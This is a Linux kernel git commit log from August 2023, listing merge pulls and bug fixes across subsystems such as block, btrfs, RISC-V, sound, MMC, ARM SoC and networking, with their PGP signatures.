Link: https://lore.kernel.org/r/20230817141615.15387-1-sweettea-kernel@dorminy.me
Signed-off-by: Jens Axboe <axboe@kernel.dk>
2023-08-18 15:00:39 -06:00
Ming Lei
c164c7bc97 blk-cgroup: hold queue_lock when removing blkg->q_node
When blkg is removed from q->blkg_list from blkg_free_workfn(), queue_lock
has to be held, otherwise, all kinds of bugs(list corruption, hard lockup,
..) can be triggered from blkg_destroy_all().

Fixes: f1c006f1c6 ("blk-cgroup: synchronize pd_free_fn() from blkg_free_workfn() and blkcg_deactivate_policy()")
Cc: Yu Kuai <yukuai3@huawei.com>
Cc: xiaoli feng <xifeng@redhat.com>
Cc: Chunyu Hu <chuhu@redhat.com>
Cc: Mike Snitzer <snitzer@kernel.org>
Cc: Tejun Heo <tj@kernel.org>
Signed-off-by: Ming Lei <ming.lei@redhat.com>
Acked-by: Tejun Heo <tj@kernel.org>
Link: https://lore.kernel.org/r/20230817141751.1128970-1-ming.lei@redhat.com
Signed-off-by: Jens Axboe <axboe@kernel.dk>
2023-08-18 15:00:39 -06:00
Li Zhijian
6548fce058 drivers/rnbd: restore sysfs interface to rnbd-client
Commit 137380c0ec renamed 'rnbd-client' to 'rnbd_client', this changed
sysfs interface to /sys/devices/virtual/rnbd_client/ctl/map_device
from /sys/devices/virtual/rnbd-client/ctl/map_device.

CC: Ivan Orlov <ivan.orlov0322@gmail.com>
CC: "Md. Haris Iqbal" <haris.iqbal@ionos.com>
CC: Jack Wang <jinpu.wang@ionos.com>
Fixes: 137380c0ec ("block/rnbd: make all 'class' structures const")
Signed-off-by: Li Zhijian <lizhijian@fujitsu.com>
Acked-by: Jack Wang <jinpu.wang@ionos.com>
Link: https://lore.kernel.org/r/20230816022210.2501228-1-lizhijian@fujitsu.com
Signed-off-by: Jens Axboe <axboe@kernel.dk>
2023-08-18 15:00:39 -06:00
Linus Torvalds
d4ddefee51 Two more SME fixes related to ptrace(): ensure that the SME is properly
set up for the target thread and that the thread sees the ZT registers
 set via ptrace.
 -----BEGIN PGP SIGNATURE-----
 
 iQIzBAABCgAdFiEE5RElWfyWxS+3PLO2a9axLQDIXvEFAmTftxwACgkQa9axLQDI
 XvFYOg/9HlGxpKuWlaNZ9g9pUXPdmCnlqBRbHkqDtPdPwH/Gylh3P5DFcRDFWCS0
 74dls3iqQ0muAeKObB4EvfGTBRngX0HhEXTVnk81JFtTchVclzYtZa1J5+wO4c2Q
 UK/+iwRddGqTGUNQJWG9qEkV9FoaDOmnuV1ZSUDF+AiAzQloEJlWqPxnX3b+ZX33
 agoEir1i8hhtfKVReappIxZHWEcGUiBCKMFtkTACaJkGucg6uaNM7vzhjfzYlCrB
 3qxEQXCgTCjWTuzhOAAKi98Q/t8KP1Hcm4WGi6yLC16hyU/P3wy7HPL5s1CowROt
 /Ttkv9ux9W4ZUx8qmvWwmxjtFjmQZRAvcRGZg0XqdsnKul3NUCdVnXNWp+sGS8tk
 HVOtzTo5WlC+YKlO5uweTXBwS/hbH5M/mZPiEv4p3jsEVHpc43EUsM8RiLQRZPv7
 6fllZXoSje2Npf2evTlwQqiDrSDe2fHxCiUbQ8NpLTD+tr9M2j0xCAbVJd7qhd9i
 PdbLHTKFgR0ScZCDcnWSUwqCSNIFUHQNhnvLaYx5PIWchOimE4HCcQZcM9mc7643
 1jwGNIE2FP/7mLwoQNr/ri3rs0eYWXTZ6QaTXUmicCZnp4IhKKxeVzTmSSH67LRK
 DBcMUW4FXk85Z2dBgn3KbaMkdqAHcv4SAU3CzyfgWpJlb/z7/iI=
 =1dyE
 -----END PGP SIGNATURE-----

Merge tag 'arm64-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux

Pull arm64 fixes from Catalin Marinas:
 "Two more SME fixes related to ptrace(): ensure that the SME is
  properly set up for the target thread and that the thread sees
  the ZT registers set via ptrace"

* tag 'arm64-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux:
  arm64/ptrace: Ensure that the task sees ZT writes on first use
  arm64/ptrace: Ensure that SME is set up for target when writing SSVE state
2023-08-18 20:52:25 +02:00
Linus Torvalds
3e13eee105 gpio fixes for v6.5-rc6
- fix a regression in the sysfs interface
 - fix a reference counting bug that's been around for years
 - MAINTAINERS update
 -----BEGIN PGP SIGNATURE-----
 
 iQIzBAABCgAdFiEEFp3rbAvDxGAT0sefEacuoBRx13IFAmTftRUACgkQEacuoBRx
 13IGjhAAoYc+s0YjdKki5g3IEvo163uhophnTywxU8EL6hNCTNn8f1JCiIVVJgro
 VuBXywozUPsPAJ8gszEEffNpJHLiFJzK2KAmYVf8diuUDkB1G4h5nfFBftXM7z5W
 Yf58I48WsY/Hd4SsThvARJQ8vPVsefwDo13grNGVVBA8mRBpMT1IbidEfLZfkygR
 DjXUP+UUoL2l2bd8wAcvc/HAS1sL86ckq/Fh/YGDezeFo0ukr1JIJ5fLa0u+9Gxu
 XpW7G2NVkEP2weP4UcqRJagM6iFlLN0/w9V/pj9BXSleA8zuWIcAV4bv689ckRu2
 fczMdLVMoj/H/uIFB+kRUXfTxbQH35XwlelrV9S7ih2Ku7a+Y0kJ/4FsubO69nD+
 tbJ9Ur9EOXSm2cKfklsZWFhMGxXQdSo8eqAQusoBgGqbzhUmK7d2FBMUcCyRejXj
 qPP+7otn+GbccYrZKuOqaj1hXfVtryWLEkazVrCnXpCWolx0722loav1EWnW/CVL
 6s4Lbr+SdVe715m7AyhPCHr294BTyrWik13pjCoVJqD2IAklhcJa6GdEV6pxcLmP
 7zyIix/5pqk0ICtIDw2yu18UhcHhKOjRCKgeL2SxD/U0a6Cz8g65OAc6ERorarbN
 f7MPmB5JHP5J3fColpnb9sTLgPKcTcBfYGi3rJZD7Ni6MprIkBY=
 =FSvM
 -----END PGP SIGNATURE-----

Merge tag 'gpio-fixes-for-v6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/brgl/linux

Pull gpio fixes from Bartosz Golaszewski:

 - fix a regression in the sysfs interface

 - fix a reference counting bug that's been around for years

 - MAINTAINERS update

* tag 'gpio-fixes-for-v6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/brgl/linux:
  gpiolib: fix reference leaks when removing GPIO chips still in use
  gpiolib: sysfs: Do unexport GPIO when user asks for it
  MAINTAINERS: add content regex for gpio-regmap
2023-08-18 20:36:49 +02:00
Linus Torvalds
8abd7287db small SMB mount option fix, also for stable
-----BEGIN PGP SIGNATURE-----
 
 iQGzBAABCgAdFiEE6fsu8pdIjtWE/DpLiiy9cAdyT1EFAmTfk2wACgkQiiy9cAdy
 T1GisAwAobMfIbWSP3lC2TXiAjEf/4ss145H0VjqPDtIm9T1DxdVDT1YgiOi3b6r
 T5xl6CaVvamMbG8ZDtWDqMWA6z/7ZTTq6OIbZGBXNCaZvJTS1k32HG13IDrpLtD1
 TyjXyyXi3OA6MGIiIZttA8ziJu7Osmc3OBuwoPf8eKcQilF1TiTM+rHksS1WThCB
 2K+OYlOe6Fiihprqh6W3zbQl9h3+oPMHhEjEKBgiCPLDFtFpwhoUqOx6cFGNbMTn
 38/hEiSG/K8kBSBgePVN1zxtTi7qPaazjTVkCKB3PjAtl0QhW6RWg3Ige5Mjg1Sk
 0MLIhpcw9XqYsEIFc5yHwyCi2AxbzZ1XSnfgfJr0Jd+phW6yFoJCHojgfagGs1ez
 YldsPYFiSJDC+ugJUMd2KemEebO9y4qfI8Ocde2f7GJijOhQhFw5bunc5g5EtZAy
 tj3w0l1pmXgVsePjWurO3VvSm1/trNShOg7h0oHIVTEtHVcXAFQED1xxTdC6aQSC
 htPunLUN
 =wyXy
 -----END PGP SIGNATURE-----

Merge tag '6.5-rc6-smb3-client-fix' of git://git.samba.org/sfrench/cifs-2.6

Pull smb client fix from Steve French:
 "A small SMB mount option fix, also for stable"

* tag '6.5-rc6-smb3-client-fix' of git://git.samba.org/sfrench/cifs-2.6:
  smb: client: fix null auth
2023-08-18 19:41:12 +02:00
Linus Torvalds
cd479d9c72 RISC-V Fixes for 6.5-rc7
* A fix to avoid excessive rejections from seccomp RET_ERRNO rules.
 * A fix for compressed jal/jalr decoding.
 * A pair of fixes for independent irq/softirq stacks on kernels built
   with CONFIG_FRAME_POINTER=n.
 * A fix to avoid a hang handling uaccess fixups.
 * Another build fix for toolchain ISA strings, this time for Zicsr and
   Zifenci on old GNU toolchains.
 -----BEGIN PGP SIGNATURE-----
 
 iQJHBAABCAAxFiEEKzw3R0RoQ7JKlDp6LhMZ81+7GIkFAmTfa34THHBhbG1lckBk
 YWJiZWx0LmNvbQAKCRAuExnzX7sYidwxD/9EeVWNnjAzZyz6dKtQRFe4czuQepXI
 5Apcc8UKUs2vFfWybAAL8ICyzZ0ME8Vc+UfAZkFhouCBHpxMWmPDpkGiGxwKYw+E
 hWZeyIC8Vn/3mmdEvUVrFU37uyndhRaej6sJQb8tj2SLo4K3PvUELl6fhnSs2ESk
 EaSaOtTnC3DLKpJTup0jvCa1T9aGwVpEVuc7yjARiAxAquxH5ky6N5/l3gCGTQzJ
 Yph/llxhwmR83zwqto5kHS9nCWi6noammBCYl+Kbb7jMg6UMMBK6T3Dube5rvyqd
 7ZEQNWAQ2RDs5pQJklutYjSCE+5LjONMX7IlrBR3plAMfXiLx+K3FhuMizHKD0YZ
 EIQ1QtsEuu6xPPZXig4KViEp75fRGnV6xJApAE0o0fUCJ7r77vddUJQDQdN3HhGe
 qfo8sEub8eWZ/IklkVhr6zsZAqMx6srb9r+T/iT+9KW9HKDNfNdEHc8FLuMjzm+C
 tIrrcZE40N7d37KVB/myWeDBrYAx6Bd6YaJOnuAR8H2t1dSj9rvxi7XFHfVdyRTs
 SUBQ0BCdMV+1UYmU1qtqWpti06nepeY3EMm4JLUFvKP+7jHBEcEwoye6/hGiTu7d
 rNsh6kB1Qq29JNQSn5HsOl89QRfz7orRGVZhTW9clhxrgV9fmy+pW9UG564NSSKI
 tBQGCt7OvXVMsQ==
 =LtPj
 -----END PGP SIGNATURE-----

Merge tag 'riscv-for-linus-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/riscv/linux

Pull RISC-V fixes from Palmer Dabbelt:

 - avoid excessive rejections from seccomp RET_ERRNO rules

 - compressed jal/jalr decoding fix

 - fixes for independent irq/softirq stacks on kernels built with
   CONFIG_FRAME_POINTER=n

 - avoid a hang handling uaccess fixups

 - another build fix for toolchain ISA strings, this time for Zicsr and
   Zifenci on old GNU toolchains

* tag 'riscv-for-linus-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/riscv/linux:
  riscv: Handle zicsr/zifencei issue between gcc and binutils
  riscv: uaccess: Return the number of bytes effectively not copied
  riscv: stack: Fixup independent softirq stack for CONFIG_FRAME_POINTER=n
  riscv: stack: Fixup independent irq stack for CONFIG_FRAME_POINTER=n
  riscv: correct riscv_insn_is_c_jr() and riscv_insn_is_c_jalr()
  riscv: entry: set a0 = -ENOSYS only when syscall != -1
2023-08-18 19:26:53 +02:00
Linus Torvalds
ce03e1807c sound fixes for 6.5-rc7
Slightly bigger than I wished, but here we go, a collection of fixes
 for 6.5.  The only change in the core side is the ease for repeated
 ASoC error messages, and the rest are all pretty device-specific small
 fixes (including regression fixes) for ASoC Intel and HD-audio /
 USB-audio quirks.
 -----BEGIN PGP SIGNATURE-----
 
 iQJCBAABCAAsFiEEIXTw5fNLNI7mMiVaLtJE4w1nLE8FAmTeNSQOHHRpd2FpQHN1
 c2UuZGUACgkQLtJE4w1nLE84fg//fxij0/hGOgQIIisCxaDoWDL5i/n4x0U6mjbu
 Z0IVHIYy2A55ZWi5xVG1g0DFIe2zlU5hhpB4YKyod9PEXSS9jYKg3BNbDY5kAexn
 9+jBOUr2c2rKY9SpN9kpX9Lu89mIuQC+xtmlxwkm8+q6YVoYUHkFy0J6KfJ8x2JQ
 tmViD0cH5T390M+jmXMbYgSkzMCylZ2SPXh7dDbPk+oD61Zco7oWIbdKGkTL2qZC
 60/igB7N9sVL9ni6yFMHWL/IZ+qQhin+HPbNWT2d6nP45bWquTedxlxNpbYRbLng
 pnz7aJ7g+l2honVZGObGNfjMNOZeG1uQi4l5gTBtLKdk5oxHmTItWcyZ92Rps1wT
 1KIYApi/X9j1aVKqjD51KzPDaQIC66WQU5LA5N2TKHujWKrEl5crLcR6gc/Uqbvt
 hMnvYZctkicsEuUuOhsBmBn9/ye5+DDwg5EEr7p5gkvvJi+StxA1N7zGwWPLnNX6
 Nhnvo9c8GlEa7QHHlO7LzTWQbpkgCOiSKFvWoNoQAgrOwzkMARfFxjFjVuvQsgXx
 y5DUXsw9+k8v/ITWalulPK9VtzaY7OQK6tMlonxMuWcPGmO7a+0S7MHiQcuI+45f
 wXMVaC5V48s95CiFn516UsoktY1foztr4UMDSOHBkS9Ap4g5BoxUiyL95lxOena0
 5kYgmRE=
 =DE5T
 -----END PGP SIGNATURE-----

Merge tag 'sound-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound

Pull sound fixes from Takashi Iwai:
 "Slightly bigger than I wished, but here we go, a collection of fixes
  for 6.5.

  The only change in the core side is the ease for repeated ASoC error
  messages, and the rest are all pretty device-specific small fixes
  (including regression fixes) for ASoC Intel and HD-audio / USB-audio
  quirks"

* tag 'sound-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound:
  ALSA: hda/realtek - Remodified 3k pull low procedure
  ASoC: rt1308-sdw: fix random louder sound
  ALSA: hda/cs8409: Support new Dell Dolphin Variants
  ALSA: hda/realtek: Switch Dell Oasis models to use SPI
  ALSA: hda/realtek: Add quirks for HP G11 Laptops
  ASoC: meson: axg-tdm-formatter: fix channel slot allocation
  ASoC: SOF: ipc4-topology: Update the basecfg for copier earlier
  ASoC: SOF: intel: hda: Clean up link DMA for IPC3 during stop
  ASoC: Intel: sof-sdw-cs42142: fix for codec button mapping
  ASoC: Intel: sof-sdw: update jack detection quirk for LunarLake RVP
  ASoC: SOF: Fix incorrect use of sizeof in sof_ipc3_do_rx_work()
  ASoC: lower "no backend DAIs enabled for ... Port" log severity
  ASoC: rt5665: add missed regulator_bulk_disable
  ASoC: max98363: don't return on success reading revision ID
  ALSA: usb-audio: Add support for Mythware XA001AU capture and playback interfaces.
  ASoC: fsl: micfil: Use dual license micfil code
2023-08-18 19:17:01 +02:00
Linus Torvalds
88d4a1643a MMC core:
- Fix in_flight[issue_type] value error to properly manage requests
 
 MMC host:
  - wbsd: Fix double free in the probe error path
  - sunplus: Fix error path in probe
  - sdhci_f_sdh30: Fix order of function calls in sdhci_f_sdh30_remove
 -----BEGIN PGP SIGNATURE-----
 
 iQJLBAABCgA1FiEEugLDXPmKSktSkQsV/iaEJXNYjCkFAmTfOOEXHHVsZi5oYW5z
 c29uQGxpbmFyby5vcmcACgkQ/iaEJXNYjCkyzA//eUNFzMBspkQbom/amwAJXH7p
 jx05JOMQE1D2WBkvNvMWEpvJgN4J0Z0rP/tQnJ1+1XR2U/QTWTFf3RWf85vwllFW
 n95ZLJJfX5Vjihi4MlX+je2s8rip2GYucmJjis1853sY1CTNfuEhuzg27X8KMNp2
 tL65caTCai9t6oBCMadODcS3F4m3fdIPuauuB4Cll34aS0YZk0hmYQfCTmpsfpSh
 IY2t+gnHsa1jUkGkZfcUivhmQ2Pmt2PoVvZwamVG9OMw3GCadYhIw/qLHKHvVJXg
 51pE6dXgBAxa10scjurOKv/aKaB+PBikSt/A6KRQ1ROoP06Cq7E+VY7R73G6jEOP
 mBwjIq8id09dZA6mRHsbUqkOMk2YB5lYAdX/7MVzo6/JW+dAEQ8oU7vV5A529nni
 b8N6JWRby5aRO3O7wziIjvx0/+8vXG1Siud3Ec/MvIRqsUK8HoMs55bdepwhuOcs
 F6QHTPmky5i8/4wNcHExnnfZbI+wJeWE0t7Ku2ZrzKb0XMVOkLB8dmy7NKIRHRPS
 mZTFiGaFcvAyodQ6gTCPeqXclKEUq0XdNM9deU3Zln1KjLCogjh4vSGLAWecbfkq
 ld5mVgSWexbXnZ32E0Zd2ouCbaWW3P4YAH405T5rD1a9Zm82eTwjh0JltvBqB4bu
 fqorLOLT6D4gWHKtL2Y=
 =QVs8
 -----END PGP SIGNATURE-----

Merge tag 'mmc-v6.5-rc1-2' of git://git.kernel.org/pub/scm/linux/kernel/git/ulfh/mmc

Pull MMC fixes from Ulf Hansson:
 "MMC core:
   - Fix in_flight[issue_type] value error to properly manage requests

  MMC host:
   - wbsd: Fix double free in the probe error path
   - sunplus: Fix error path in probe
   - sdhci_f_sdh30: Fix order of function calls in sdhci_f_sdh30_remove"

* tag 'mmc-v6.5-rc1-2' of git://git.kernel.org/pub/scm/linux/kernel/git/ulfh/mmc:
  mmc: f-sdh30: fix order of function calls in sdhci_f_sdh30_remove
  mmc: sunplus: Fix error handling in spmmc_drv_probe()
  mmc: sunplus: fix return value check of mmc_add_host()
  mmc: wbsd: fix double mmc_free_host() in wbsd_init()
  mmc: block: Fix in_flight[issue_type] value error
2023-08-18 19:10:41 +02:00
Linus Torvalds
f33fd7eb20 Some pin control fixes for v6.5, fixes two issues with the
Qualcomm SA8775P platform:
 
 - Some minor device tree binding flunky that is nice to iron
   out but more importantly:
 
 - Support the increased interrupt targets mask from 3 to 4
   bits, making interrupts with higher (hardware) numbers
   work.
 -----BEGIN PGP SIGNATURE-----
 
 iQIzBAABCgAdFiEElDRnuGcz/wPCXQWMQRCzN7AZXXMFAmTfJLYACgkQQRCzN7AZ
 XXNFOhAAtkMQZ8bV8DJZbB30aim6jDn/2fmI1NywnNdkfpI5FUvRHr+z4I2FNwUJ
 rNs1l9aTzxZGOcl/iqI2sJNqr7G+mRrnQZVcEypgtuwteXefSm5FWPQypiIhsG15
 0aoF0Ohe2jDf2kl74g67tUc6LJBGcjK4SW8CJUUv9LkjT16BkAnnAttUQch6qKBS
 8Txmv/d4XOuuqoSW3yMGfr8NHUmCj+/yNEOso9KiB9R/aHsOjvol1ZLpXlQgQmSG
 LAzhgcHO+vN4lb8o7n5T3r83YHCUnkB5qy1tTAQWe+jCRgWJRx1x7BHlevJZmshq
 +GPd6+dYMHGacFq5p22KsvB2Gk1rELGa6iPod6eFJ/9iPuvALgbFOoLh51q7OZM6
 5NgJDMwLQuqiDGTovdH3GprdabN3iS99F9eV8MXvZInq6coS7hYH0cTLiz7848rE
 tdC0q4+nN/+M+BrB5F8h02QByAHJ7Tn4L8NOxuQM/LAUYXfZDPdrqeSctY4tvfQL
 wgZpCy4942LIK68Hszii9VgpAfffJ21j+OCdso1pnpFepB0kuW/rUBW9GSAxAH+s
 0inhegO367JfrIKJDWtepb5xBDf5iIK5nvRtoB0eQWUfm6WqhDHgdUMpIXT70Nhi
 C0JeElpgp061qidWJRWWpQ1n8iYIPZf7sMyQvxbFWfHxIUcqRmQ=
 =Rn8a
 -----END PGP SIGNATURE-----

Merge tag 'pinctrl-v6.5-3' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-pinctrl

Pull pin control fixes from Linus Walleij:
 "Fixes two issues with the Qualcomm SA8775P platform:

   - Some minor device tree binding flunky that is nice to iron out but
     more importantly:

   - Support the increased interrupt targets mask from 3 to 4 bits,
     making interrupts with higher (hardware) numbers work"

* tag 'pinctrl-v6.5-3' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-pinctrl:
  pinctrl: qcom: Add intr_target_width field to support increased number of interrupt targets
  dt-bindings: pinctrl: qcom,sa8775p-tlmm: add gpio function constant
2023-08-18 18:37:40 +02:00
Linus Torvalds
80706f5529 ARM: SoC fixes for 6.5, part 3
As usual, mostly DT fixes for the major Arm platforms from Qualcomm and
 NXP, plus a bit for Rockchips and others:
 
 The qualcomm fixes mainly deal with their higher-end arm64 devices trees,
 fixing issues in L3 interconnect, crypto, thermal, UFS and a regression
 for the DSI phy.
 
 NXP i.MX has two correctness fixes for the 64-bit chips, dealing with
 the imx93 "anatop" module and the CSI interface. On the 32-bit side,
 there are functional fixes for RTC, display and SD card intefaces.
 
 Rockchip fixes are for wifi support on certain boards, a eMMC stability
 and DT build warnings.
 
 On TI OMAP, a regulator is described in DT to avoid problems with the
 ethernet phy initialization.
 
 The code changes include a missing MMIO serialization on OMAP, plus a
 few minor fixes on ASpeed and AMD/Zynq chips.
 -----BEGIN PGP SIGNATURE-----
 
 iQIzBAABCgAdFiEEiK/NIGsWEZVxh/FrYKtH/8kJUicFAmTe2VcACgkQYKtH/8kJ
 Uid+qxAAkNF+0roAULDQ9YCg8nnv9l6VN4AGu4K7PA/C8rouW8FbWmpc85xTBV9a
 rSm2AwdZEeHMb5S1hpdgu28MA4f3ja6IYIYSCjob4nE1mfgpVVwfxE6AXjUKApBp
 y6JN/jK/9W30JDLiReOFcsGNkM5Yqj80XKCBf+6/XLUfSWm90xgvXMFFte2p+AsV
 Qb4OInSIT06CtbkZ/DMJx9fFXPeB/lig5joLeuU7eChCXVF+GwcgRzBIueHvH4VS
 FbAEnprhlfDHfj4zvZAFKTXYhLDLCkWwxOHilGxauXykWhGP/4XY0qc6z1tk7y+5
 r8SPRgEAX4D6D4PwvloxhTJ5WnyqIzk6cS+8WYxMiheurzDGVnoofYp+dWR5CNMj
 2STXGzX7ZFkxIRZ3M7d8qz7GpzHsTnmQfg8SH4NiYsg/NptyfPLqdRPjYt1vhu+i
 zfVIA2tWmRGFDZbyTgFBpBoOz4EyBEyo31r/e2e8D5B7R9/7xC3rJS7wtjX5KWdV
 J6APuPKSmeag44gij7dK5vFtOI898FGkUiHEe3U0nUzNolWEogce1r6r1mdNdQsL
 HBUeTGI6CAElsX+WSpW0mYS1uLaDXz56fHj5Bm/681PobS69tk7qOv6WdOvyNpNZ
 7xtBwfOKDYmNAt5QYEIIAITJ1lm4nQoPdAjsaLeL91/1Sa5M770=
 =QlRp
 -----END PGP SIGNATURE-----

Merge tag 'soc-fixes-6.5-3' of git://git.kernel.org/pub/scm/linux/kernel/git/soc/soc

Pull ARM SoC fixes from Arnd Bergmann:
 "As usual, mostly DT fixes for the major Arm platforms from Qualcomm
  and NXP, plus a bit for Rockchips and others:

  The qualcomm fixes mainly deal with their higher-end arm64 devices
  trees, fixing issues in L3 interconnect, crypto, thermal, UFS and a
  regression for the DSI phy.

  NXP i.MX has two correctness fixes for the 64-bit chips, dealing with
  the imx93 "anatop" module and the CSI interface. On the 32-bit side,
  there are functional fixes for RTC, display and SD card intefaces.

  Rockchip fixes are for wifi support on certain boards, a eMMC
  stability and DT build warnings.

  On TI OMAP, a regulator is described in DT to avoid problems with the
  ethernet phy initialization.

  The code changes include a missing MMIO serialization on OMAP, plus a
  few minor fixes on ASpeed and AMD/Zynq chips"

* tag 'soc-fixes-6.5-3' of git://git.kernel.org/pub/scm/linux/kernel/git/soc/soc: (30 commits)
  ARM: dts: am335x-bone-common: Add vcc-supply for on-board eeprom
  ARM: dts: am335x-bone-common: Add GPIO PHY reset on revision C3 board
  soc: aspeed: socinfo: Add kfree for kstrdup
  soc: aspeed: uart-routing: Use __sysfs_match_string
  ARM: dts: integrator: fix PCI bus dtc warnings
  arm64: dts: imx93: Fix anatop node size
  arm64: dts: qcom: sc7180: Fix DSI0_PHY reg-names
  ARM: dts: imx: Set default tuning step for imx6sx usdhc
  arm64: dts: imx8mm: Drop CSI1 PHY reference clock configuration
  arm64: dts: imx8mn: Drop CSI1 PHY reference clock configuration
  ARM: dts: imx: Set default tuning step for imx7d usdhc
  ARM: dts: imx6: phytec: fix RTC interrupt level
  ARM: dts: imx6sx: Remove LDB endpoint
  arm64: dts: rockchip: Fix Wifi/Bluetooth on ROCK Pi 4 boards
  ARM: zynq: Explicitly include correct DT includes
  arm64: dts: qcom: sa8775p-ride: Update L4C parameters
  arm64: dts: rockchip: minor whitespace cleanup around '='
  arm64: dts: rockchip: Disable HS400 for eMMC on ROCK 4C+
  arm64: dts: rockchip: Disable HS400 for eMMC on ROCK Pi 4
  arm64: dts: rockchip: add missing space before { on indiedroid nova
  ...
2023-08-18 18:24:41 +02:00
Linus Torvalds
eabeef9054 asm-generic: regression fix for 6.5
Just one partial revert for a commit from the merge window
 that caused annoying behavior when building old kernels on
 arm64 hosts.
 -----BEGIN PGP SIGNATURE-----
 
 iQIzBAABCgAdFiEEiK/NIGsWEZVxh/FrYKtH/8kJUicFAmTe0Z8ACgkQYKtH/8kJ
 UidZGQ/9GFtIHh9QK6XPlAlx3oC6HdFUrOqDwoueNd4sFk9nNAuW+Z/a0YX8DtnQ
 /SrJPiCtoPPNCMNlxk7ZDx+ra0Tu+iC7rAvRnogKSV8qB35jNLIqhEde2opCa2Dx
 sfmvtP0hr5c+b8UP9IN2U11WvJhv1yjldHtCKAjSf9zMtwPQjQvAIx1kzSlC57kE
 zjsKVTB3yXUddhYGR7639RT7/1K25BVcG6kfKIEN/uPm+M/ljk58EJhUhSeEEfBf
 NmtlhxWzJBySOTk5mjEVUsTAPrAckPI3Vh4sf0qd4rXe4Q+XX9Jvur9kPOoF8lQF
 GO+WXrmooaEir3+1+w4PB9xXgZD26Iz018xdhcigLgEGefieM1JpvwJa8NarK8UK
 iLg2+sBvCAJPJQ44E4r1hWf8ZFolEhwzg703/fGIjDPMQnhHNay4i73NyCw4ii2c
 F+iCFhea5AKz+d5qQuaZmg7klY/4cBIKDVY/EsO4lmK0187eq3zZKJSMLD21+NLy
 kr63OAV8yXbduLsIOjvR3KrbSvMq+9vasEX4zUGlzA+VR1l+MqtwJI13EPyqhubJ
 kQQi6PUe/353ECdzwk5IAqMbGP7qhkOuv89+Ff9mPTlKAwDPwdZjbnsz5I5peskB
 zVBO366Z0w3o2ENv9i4UEa+TtaCMIbLWdXJxPufwoqPHX3v7nUM=
 =tTzL
 -----END PGP SIGNATURE-----

Merge tag 'asm-generic-fix-6.5' of git://git.kernel.org/pub/scm/linux/kernel/git/arnd/asm-generic

Pull asm-generic regression fix from Arnd Bergmann:
 "Just one partial revert for a commit from the merge window that caused
  annoying behavior when building old kernels on arm64 hosts"

* tag 'asm-generic-fix-6.5' of git://git.kernel.org/pub/scm/linux/kernel/git/arnd/asm-generic:
  asm-generic: partially revert "Unify uapi bitsperlong.h for arm64, riscv and loongarch"
2023-08-18 18:13:36 +02:00
Josef Bacik
c962098ca4 btrfs: fix incorrect splitting in btrfs_drop_extent_map_range
In production we were seeing a variety of WARN_ON()'s in the extent_map
code, specifically in btrfs_drop_extent_map_range() when we have to call
add_extent_mapping() for our second split.

Consider the following extent map layout

	PINNED
	[0 16K)  [32K, 48K)

and then we call btrfs_drop_extent_map_range for [0, 36K), with
skip_pinned == true.  The initial loop will have

	start = 0
	end = 36K
	len = 36K

we will find the [0, 16k) extent, but since we are pinned we will skip
it, which has this code

	start = em_end;
	if (end != (u64)-1)
		len = start + len - em_end;

em_end here is 16K, so now the values are

	start = 16K
	len = 16K + 36K - 16K = 36K

len should instead be 20K.  This is a problem when we find the next
extent at [32K, 48K), we need to split this extent to leave [36K, 48k),
however the code for the split looks like this

	split->start = start + len;
	split->len = em_end - (start + len);

In this case we have

	em_end = 48K
	split->start = 16K + 36K       // this should be 16K + 20K
	split->len = 48K - (16K + 36K) // this overflows as 16K + 36K is 52K

and now we have an invalid extent_map in the tree that potentially
overlaps other entries in the extent map.  Even in the non-overlapping
case we will have split->start set improperly, which will cause problems
with any block related calculations.

We don't actually need len in this loop, we can simply use end as our
end point, and only adjust start up when we find a pinned extent we need
to skip.

Adjust the logic to do this, which keeps us from inserting an invalid
extent map.

We only skip_pinned in the relocation case, so this is relatively rare,
except in the case where you are running relocation a lot, which can
happen with auto relocation on.

Fixes: 55ef689900 ("Btrfs: Fix btrfs_drop_extent_cache for skip pinned case")
CC: stable@vger.kernel.org # 4.14+
Reviewed-by: Filipe Manana <fdmanana@suse.com>
Signed-off-by: Josef Bacik <josef@toxicpanda.com>
Signed-off-by: David Sterba <dsterba@suse.com>
2023-08-18 14:38:10 +02:00
Borislav Petkov (AMD)
6405b72e8d x86/srso: Correct the mitigation status when SMT is disabled
Specify how is SRSO mitigated when SMT is disabled. Also, correct the
SMT check for that.

Fixes: e9fbc47b81 ("x86/srso: Disable the mitigation on unaffected configurations")
Suggested-by: Josh Poimboeuf <jpoimboe@kernel.org>
Signed-off-by: Borislav Petkov (AMD) <bp@alien8.de>
Acked-by: Josh Poimboeuf <jpoimboe@kernel.org>
Link: https://lore.kernel.org/r/20230814200813.p5czl47zssuej7nv@treble
2023-08-18 12:43:10 +02:00
Linus Torvalds
0e8860d212 Including fixes from ipsec and netfilter.
No known outstanding regressions.
 
 Fixes to fixes:
 
  - virtio-net: set queues after driver_ok, avoid a potential race
    added by recent fix
 
  - Revert "vlan: Fix VLAN 0 memory leak", it may lead to a warning
    when VLAN 0 is registered explicitly
 
  - nf_tables:
    - fix false-positive lockdep splat in recent fixes
    - don't fail inserts if duplicate has expired (fix test failures)
    - fix races between garbage collection and netns dismantle
 
 Current release - new code bugs:
 
  - mlx5: Fix mlx5_cmd_update_root_ft() error flow
 
 Previous releases - regressions:
 
  - phy: fix IRQ-based wake-on-lan over hibernate / power off
 
 Previous releases - always broken:
 
  - sock: fix misuse of sk_under_memory_pressure() preventing system
    from exiting global TCP memory pressure if a single cgroup is under
    pressure
 
  - fix the RTO timer retransmitting skb every 1ms if linear option
    is enabled
 
  - af_key: fix sadb_x_filter validation, amment netlink policy
 
  - ipsec: fix slab-use-after-free in decode_session6()
 
  - macb: in ZynqMP resume always configure PS GTR for non-wakeup source
 
 Misc:
 
  - netfilter: set default timeout to 3 secs for sctp shutdown send and
    recv state (from 300ms), align with protocol timers
 
 Signed-off-by: Jakub Kicinski <kuba@kernel.org>
 -----BEGIN PGP SIGNATURE-----
 
 iQIzBAABCAAdFiEE6jPA+I1ugmIBA4hXMUZtbf5SIrsFAmTemA4ACgkQMUZtbf5S
